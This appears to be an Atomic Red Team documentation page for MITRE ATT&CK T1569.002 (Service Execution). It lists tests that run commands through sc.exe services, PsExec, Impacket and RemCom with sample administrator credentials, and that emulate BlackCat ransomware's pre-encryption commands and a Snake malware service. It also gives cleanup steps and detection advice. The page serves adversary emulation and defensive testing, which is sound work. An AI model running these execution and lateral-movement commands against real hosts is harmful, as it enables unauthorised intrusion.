Ctrl+K

T1569.002 - Service Execution

Contents

T1569.002 - Service Execution#

Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and Net.

PsExec can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as PsExec and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.

Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with Windows Service during service persistence or privilege escalation.

Atomic Tests#

Atomic Test #1 - Execute a Command as a ServiceCreates a service specifying an arbitrary command and executes it. When executing commands such as PowerShell, the service will report that it did not start correctly even when code executes properly.#

Upon successful execution, cmd.exe creates a new service using sc.exe that will start powershell.exe to create a new file art-marker.txt

BlackCat Ransomware (ALPHV)
Cybereason vs. BlackCat Ransomware Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

sc.exe create ARTService binPath= "%COMSPEC% /c powershell.exe -nop -w hidden -command New-Item -ItemType File C:\art-marker.txt"
sc.exe start ARTService
sc.exe delete ARTService

Invoke-AtomicTest T1569.002 -TestNumbers 1

Cleanup:#

del C:\art-marker.txt >nul 2>&1

Invoke-AtomicTest T1569.002 -TestNumbers 1 -Cleanup

Atomic Test #2 - Use PsExec to execute a command on a remote host#

Requires having Sysinternals installed, path to sysinternals is one of the input input_arguments Will start a process on a remote host.

Upon successful execution, cmd will utilize psexec.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0} else { exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force


Invoke-AtomicTest T1569.002 -TestNumbers 2 -GetPreReqs

Attack Commands: Run with command_prompt#

"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" \\localhost -u DOMAIN\Administrator -p P@ssw0rd1 -accepteula "C:\Windows\System32\calc.exe"

Invoke-AtomicTest T1569.002 -TestNumbers 2

Atomic Test #3 - psexec.py (Impacket)#

Will execute a command on the remote host with Impacket psexec.py script.

Supported Platforms: linux

Dependencies: Run with bash!#

Description: psexec.py (Impacket)#
Check Prereq Commands:#
if [ -x "$(command -v psexec.py)" ]; then exit 0; else exit 1; fi;
Get Prereq Commands:#
sudo pip3 install impacket

Invoke-AtomicTest T1569.002 -TestNumbers 3 -GetPreReqs

Attack Commands: Run with bash#

psexec.py '/Administrator:P@ssw0rd1@127.0.0.1' 'whoami'

Invoke-AtomicTest T1569.002 -TestNumbers 3

Atomic Test #4 - BlackCat pre-encryption cmds with Lateral Movement#

This atomic attempts to emulate the unique behavior of BlackCat ransomware prior to encryption and during Lateral Movement attempts via PsExec on Windows. Uses bundled PsExec like BlackCat Supported Platforms: windows

Elevation Required (e.g. root or admin)

Dependencies: Run with powershell!#

Description: PsExec must exist on disk at “PathToAtomicsFolder..\ExternalPayloads\PsExec.exe”#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") {exit 0} else {exit 1}
Get Prereq Commands:#
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip"
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
New-Item -ItemType Directory (Split-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") -Force | Out-Null
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force

Invoke-AtomicTest T1569.002 -TestNumbers 4 -GetPreReqs

Attack Commands: Run with powershell#

cmd.exe /c "wmic 	csproduct 	get UUID" 
cmd.exe /c "fsutil behavior 	set SymlinkEvaluation R2L:1" 
cmd.exe /c "fsutil behavior set 	SymlinkEvaluation R2R:1"
reg    add    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters    /v MaxMpxCt /d 65535 /t REG_DWORD /f      
copy "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" $env:temp
cmd.exe /c "$env:temp\psexec.exe  -accepteula  \\$ENV:COMPUTERNAME cmd.exe  /c echo "--access-token""

Invoke-AtomicTest T1569.002 -TestNumbers 4

Cleanup:#

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /f
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2L:0" 
cmd.exe /c "fsutil behavior set SymlinkEvaluation R2R:0"
rm $env:temp\psexec.exe

Invoke-AtomicTest T1569.002 -TestNumbers 4 -Cleanup

Atomic Test #5 - Use RemCom to execute a command on a remote host#

Requires having RemCom installed, path to RemCom is one of the input input_arguments Will start a process on a remote host. Upon successful execution, cmd will utilize RemCom.exe to spawn calc.exe on a remote endpoint (default:localhost).

Supported Platforms: windows

Dependencies: Run with powershell!#

Description: RemCom tool must exist on disk in the ExternalPayloads folder#
Check Prereq Commands:#
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe") { exit 0} else { exit 1}
Get Prereq Commands:#
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/kavika13/RemCom/raw/master/bin/Release/RemCom.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\remcom.exe"


Invoke-AtomicTest T1569.002 -TestNumbers 5 -GetPreReqs

Attack Commands: Run with command_prompt#

"PathToAtomicsFolder\..\ExternalPayloads\remcom.exe" \\localhost /user:Administrator /pwd:P@ssw0rd1 cmd.exe

Invoke-AtomicTest T1569.002 -TestNumbers 5

Atomic Test #6 - Snake Malware Service CreateThe following Atomic Test will create a new service named WerFaultSvc with a binary path of WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe.#

This was recently seen in the Snake Malware report. Upon execution, sc.exe will create a new service named WerFaultSvc with a bin path \WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe and a display name of WerFault Service. Snake Malware - CISA
Supported Platforms: windows Elevation Required (e.g. root or admin)#### Attack Commands: Run with command_prompt

sc.exe create "WerFaultSvc" binPath= "$env:windir\WinSxS\x86_microsoft-windows-errorreportingfaults_31bf3856ad364e35_4.0.9600.16384_none_a13f7e283339a050\WerFault.exe" DisplayName= "WerFault Service" start= auto

Invoke-AtomicTest T1569.002 -TestNumbers 6

Cleanup:#

sc.exe delete "WerFaultSvc"

Invoke-AtomicTest T1569.002 -TestNumbers 6 -Cleanup

Detection#

Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.

Contents